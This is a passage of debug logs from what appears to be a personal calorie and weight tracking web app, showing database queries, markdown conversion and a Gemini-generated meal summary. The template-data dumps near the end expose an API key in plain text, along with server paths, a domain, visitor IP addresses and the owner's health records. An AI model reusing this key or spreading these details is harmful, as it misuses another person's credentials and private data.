    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  }
]
2025-12-16T17:15:43.730Z server-connect:app Executing action step identify
2025-12-16T17:15:43.730Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:43.730Z server-connect:output identity: 1
2025-12-16T17:15:49.081Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-16T17:15:49.081Z server-connect:app Executing action step identify
2025-12-16T17:15:49.081Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:49.081Z server-connect:output identity: 1
2025-12-16T17:15:49.081Z server-connect:app Executing action step restrict
2025-12-16T17:15:49.081Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T17:15:49.082Z server-connect:output restrict: undefined
2025-12-16T17:15:49.082Z server-connect:app Executing action step select
2025-12-16T17:15:49.082Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-16T17:15:49.083Z server-connect:output items_consumed_today: [
  {
    id: 402,
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)'
  },
  {
    id: 403,
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)'
  },
  {
    id: 404,
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)'
  },
  {
    id: 405,
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)'
  },
  {
    id: 406,
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)'
  },
  {
    id: 407,
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)'
  },
  {
    id: 408,
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)'
  },
  {
    id: 409,
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)'
  },
  {
    id: 410,
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)'
  },
  {
    id: 411,
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 412,
    item_name: 'Papaya',
    calories: 52,
    protein_gm: 1,
    carbs_gm: 13,
    fat_gm: 0,
    quantity: '3 slices (approx 120g, assuming 40g per slice)'
  },
  {
    id: 413,
    item_name: 'Dal Rice',
    calories: 320,
    protein_gm: 14,
    carbs_gm: 65,
    fat_gm: 1,
    quantity: '1 katori cooked Dal (approx. 150g, made from 40g dry Dal) + 1 katori cooked White Rice (approx. 150g, made from 50g dry Rice)'
  },
  {
    id: 414,
    item_name: 'Mooli ka Saag',
    calories: 75,
    protein_gm: 2,
    carbs_gm: 5,
    fat_gm: 5,
    quantity: '1 katori cooked (approx. 150g, typically made from ~200g raw greens + 1 tsp oil/ghee)'
  },
  {
    id: 415,
    item_name: 'Whole Milk',
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 glass (approx 240ml, assuming full-fat milk)'
  },
  {
    id: 416,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 25,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 30g total powder, providing 25g protein)'
  }
]
2025-12-16T17:15:49.083Z server-connect:app Executing action step paged
2025-12-16T17:15:49.083Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-16T17:15:49.086Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 12,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-16T17:15:49.086Z server-connect:app Executing action step run
2025-12-16T17:15:49.086Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-16T17:15:49.087Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  "| 402 | Milk Tea (without sugar, assuming full-fat cow's milk) | 48 | 3 | 4 | 3 | Half cup (approx 120ml total beverage) |\n" +
  '| 403 | Idli (light fried) | 290 | 7 | 52 | 8 | 4 pieces (approx 200g idli + 6.75g oil) |\n' +
  '| 404 | Ketchup | 12 | 0 | 3 | 0 | 1 sachet (approx 12g) |\n' +
  '| 405 | Green Tea | 0 | 0 | 0 | 0 | 1 cup (240ml) |\n' +
  '| 406 | Milk Sugar Coffee | 132 | 4 | 24 | 2 | 1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar) |\n' +
  '| 407 | Roti (Whole Wheat) | 375 | 12 | 75 | 3 | 3 medium (approx 40g each, total 120g) |\n' +
  '| 408 | Aloo Gobi Sabzi | 214 | 3 | 18 | 15 | 1 medium bowl (approx 150g, assuming moderate oil) |\n' +
  '| 409 | Digestive Biscuits | 152 | 2 | 22 | 6 | 2 biscuits (approx 32g, assuming 16g per biscuit) |\n' +
  '| 410 | Makhana (Fox Nuts) | 88 | 2 | 19 | 0 | 1 handful (approx 25g) |\n' +
  '| 411 | Green Tea | 2 | 0 | 1 | 0 | 1 cup (approx 240ml) |\n' +
  '| 412 | Papaya | 52 | 1 | 13 | 0 | 3 slices (approx 120g, assuming 40g per slice) |\n' +
  '| 413 | Dal Rice | 320 | 14 | 65 | 1 | 1 katori cooked Dal (approx. 150g, made from 40g dry Dal) + 1 katori cooked White Rice (approx. 150g, made from 50g dry Rice) |\n' +
  '| 414 | Mooli ka Saag | 75 | 2 | 5 | 5 | 1 katori cooked (approx. 150g, typically made from ~200g raw greens + 1 tsp oil/ghee) |\n' +
  '| 415 | Whole Milk | 150 | 8 | 12 | 8 | 1 glass (approx 240ml, assuming full-fat milk) |\n' +
  '| 416 | Whey Protein | 120 | 25 | 3 | 2 | 1 scoop (approx 30g total powder, providing 25g protein) |\n' +
  '\n'
2025-12-16T17:15:49.087Z server-connect:app Executing action step run
2025-12-16T17:15:49.087Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-16T17:15:49.088Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-16T17:15:49.088Z server-connect:app Executing action step setvalue
2025-12-16T17:15:49.088Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-16T17:15:49.088Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  "| 402 | Milk Tea (without sugar, assuming full-fat cow's milk) | 48 | 3 | 4 | 3 | Half cup (approx 120ml total beverage) |\n" +
  '| 403 | Idli (light fried) | 290 | 7 | 52 | 8 | 4 pieces (approx 200g idli + 6.75g oil) |\n' +
  '| 404 | Ketchup | 12 | 0 | 3 | 0 | 1 sachet (approx 12g) |\n' +
  '| 405 | Green Tea | 0 | 0 | 0 | 0 | 1 cup (240ml) |\n' +
  '| 406 | Milk Sugar Coffee | 132 | 4 | 24 | 2 | 1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar) |\n' +
  '| 407 | Roti (Whole Wheat) | 375 | 12 | 75 | 3 | 3 medium (approx 40g each, total 120g) |\n' +
  '| 408 | Aloo Gobi Sabzi | 214 | 3 | 18 | 15 | 1 medium bowl (approx 150g, assuming moderate oil) |\n' +
  '| 409 | Digestive Biscuits | 152 | 2 | 22 | 6 | 2 biscuits (approx 32g, assuming 16g per biscuit) |\n' +
  '| 410 | Makhana (Fox Nuts) | 88 | 2 | 19 | 0 | 1 handful (approx 25g) |\n' +
  '| 411 | Green Tea | 2 | 0 | 1 | 0 | 1 cup (approx 240ml) |\n' +
  '| 412 | Papaya | 52 | 1 | 13 | 0 | 3 slices (approx 120g, assuming 40g per slice) |\n' +
  '| 413 | Dal Rice | 320 | 14 | 65 | 1 | 1 katori cooked Dal (approx. 150g, made from 40g dry Dal) + 1 katori cooked White Rice (approx. 150g, made from 50g dry Rice) |\n' +
  '| 414 | Mooli ka Saag | 75 | 2 | 5 | 5 | 1 katori cooked (approx. 150g, typically made from ~200g raw greens + 1 tsp oil/ghee) |\n' +
  '| 415 | Whole Milk | 150 | 8 | 12 | 8 | 1 glass (approx 240ml, assuming full-fat milk) |\n' +
  '| 416 | Whey Protein | 120 | 25 | 3 | 2 | 1 scoop (approx 30g total powder, providing 25g protein) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-16T17:15:49.088Z server-connect:app Executing action step processWithGemini
2025-12-16T17:15:49.088Z server-connect:app options: { request_type: 'meal_summary', raw_text: '{{raw_value}}' }
2025-12-16T17:15:50.619Z server-connect:output health_summary: {
  summary: 'The day showed a good effort towards muscle development with the inclusion of whey protein. Meal timing was somewhat inconsistent, with a mix of heavier and lighter meals. Protein intake appears to be generally adequate, especially with the supplement. Recovery support could be enhanced with better hydration and potentially more consistent meal spacing.',
  rating: 7,
  good_points: [
    'Inclusion of whey protein supports muscle development goals.',
    'A variety of food items were consumed throughout the day.',
    'Good hydration with green tea was noted.'
  ],
  bad_points: [
    'The variety of beverages includes sugar, which could be moderated.',
    'Some meals lack significant fiber.',
    'Meal timing appears somewhat spread out, with a gap between the afternoon snacks and the evening meal.'
  ],
  suggestions: [
    'Prioritize whole, unprocessed foods for meals.',
    'Consider adding more vegetables to meals for increased fiber and micronutrients.',
    'Ensure adequate water intake beyond the green tea and milk.',
    'Aim for more consistent meal spacing throughout the day.'
  ],
  predicted_weight_trend: 'gradual reduction',
  predicted_weight: 70.15
}
2025-12-16T17:15:50.619Z server-connect:app Executing action step condition
2025-12-16T17:15:50.619Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-16T17:15:50.619Z server-connect:app Executing action step delete
2025-12-16T17:15:50.619Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-16T17:15:50.620Z server-connect:output delete: { affected: 1 }
2025-12-16T17:15:50.621Z server-connect:app Executing action step insert
2025-12-16T17:15:50.621Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-16T17:15:50.622Z server-connect:output insert: { affected: 1, identity: 22 }
2025-12-16T17:15:50.622Z server-connect:output condition: undefined
2025-12-16T17:15:50.908Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T17:15:50.908Z server-connect:app Executing action step identify
2025-12-16T17:15:50.909Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:50.909Z server-connect:output identity: 1
2025-12-16T17:15:50.909Z server-connect:app Executing action step restrict
2025-12-16T17:15:50.909Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:50.909Z server-connect:output restrict: undefined
2025-12-16T17:15:50.909Z server-connect:app Executing action step single
2025-12-16T17:15:50.909Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T17:15:50.910Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: 'The day showed a good effort towards muscle development with the inclusion of whey protein. Meal timing was somewhat inconsistent, with a mix of heavier and lighter meals. Protein intake appears to be generally adequate, especially with the supplement. Recovery support could be enhanced with better hydration and potentially more consistent meal spacing.',
    bad_points: [
      'The variety of beverages includes sugar, which could be moderated.',
      'Some meals lack significant fiber.',
      'Meal timing appears somewhat spread out, with a gap between the afternoon snacks and the evening meal.'
    ],
    good_points: [
      'Inclusion of whey protein supports muscle development goals.',
      'A variety of food items were consumed throughout the day.',
      'Good hydration with green tea was noted.'
    ],
    suggestions: [
      'Prioritize whole, unprocessed foods for meals.',
      'Consider adding more vegetables to meals for increased fiber and micronutrients.',
      'Ensure adequate water intake beyond the green tea and milk.',
      'Aim for more consistent meal spacing throughout the day.'
    ],
    predicted_weight: 70.15,
    predicted_weight_trend: 'gradual reduction'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T17:21:00.224Z server-connect:app Executing action step identify
2025-12-16T17:21:00.224Z server-connect:app options: { provider: 'security' }
2025-12-16T17:21:00.224Z server-connect:output identity: 1
2025-12-16T17:21:03.387Z server-connect:app Executing action step identify
2025-12-16T17:21:03.387Z server-connect:app options: { provider: 'security' }
2025-12-16T17:21:03.387Z server-connect:output identity: 1
2025-12-16T17:27:41.229Z server-connect:app Executing action step identify
2025-12-16T17:27:41.229Z server-connect:app options: { provider: 'security' }
2025-12-16T17:27:41.229Z server-connect:output identity: 1
2025-12-16T17:27:44.282Z server-connect:app Executing action step identify
2025-12-16T17:27:44.282Z server-connect:app options: { provider: 'security' }
2025-12-16T17:27:44.282Z server-connect:output identity: 1
2025-12-16T17:33:27.135Z server-connect:app Executing action step identify
2025-12-16T17:33:27.135Z server-connect:app options: { provider: 'security' }
2025-12-16T17:33:27.135Z server-connect:output identity: 1
2025-12-16T17:33:29.353Z server-connect:app Executing action step identify
2025-12-16T17:33:29.354Z server-connect:app options: { provider: 'security' }
2025-12-16T17:33:29.354Z server-connect:output identity: 1
2025-12-16T17:43:57.187Z server-connect:app Executing action step identify
2025-12-16T17:43:57.187Z server-connect:app options: { provider: 'security' }
2025-12-16T17:43:57.188Z server-connect:output identity: 1
2025-12-16T18:46:43.503Z server-connect:router Serving templateView /
2025-12-16T18:46:43.504Z server-connect:app Executing action step identify
2025-12-16T18:46:43.504Z server-connect:app options: { provider: 'security' }
2025-12-16T18:46:43.504Z server-connect:auth No login cookie found
2025-12-16T18:46:43.505Z server-connect:output identity: false
2025-12-16T18:46:43.505Z server-connect:app Executing action step restrict
2025-12-16T18:46:43.505Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T18:46:43.505Z server-connect:output restrict: undefined
2025-12-16T18:46:43.608Z server-connect:router Serving templateView /login
2025-12-16T18:46:43.608Z server-connect:app Executing action step identify
2025-12-16T18:46:43.608Z server-connect:app options: { provider: 'security' }
2025-12-16T18:46:43.608Z server-connect:auth No login cookie found
2025-12-16T18:46:43.608Z server-connect:output identity: false
2025-12-16T18:46:43.608Z server-connect:router Render template layouts/authentication
2025-12-16T18:46:43.609Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-language': '*',
    'sec-fetch-mode': 'cors',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '176.9.158.217',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T18:46:43.607Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '176.9.158.217',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_LANGUAGE: '*',
    'HTTP_SEC_FETCH-MODE': 'cors',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '176.9.158.217',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-16T18:46:58.288Z server-connect:router Serving templateView /login
2025-12-16T18:46:58.289Z server-connect:app Executing action step identify
2025-12-16T18:46:58.289Z server-connect:app options: { provider: 'security' }
2025-12-16T18:46:58.289Z server-connect:auth No login cookie found
2025-12-16T18:46:58.289Z server-connect:output identity: false
2025-12-16T18:46:58.289Z server-connect:router Render template layouts/authentication
2025-12-16T18:46:58.289Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Safari/605.1.15',
    accept: '*/*',
    'accept-language': '*',
    'sec-fetch-mode': 'cors',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '195.201.168.79',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T18:46:58.288Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '195.201.168.79',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
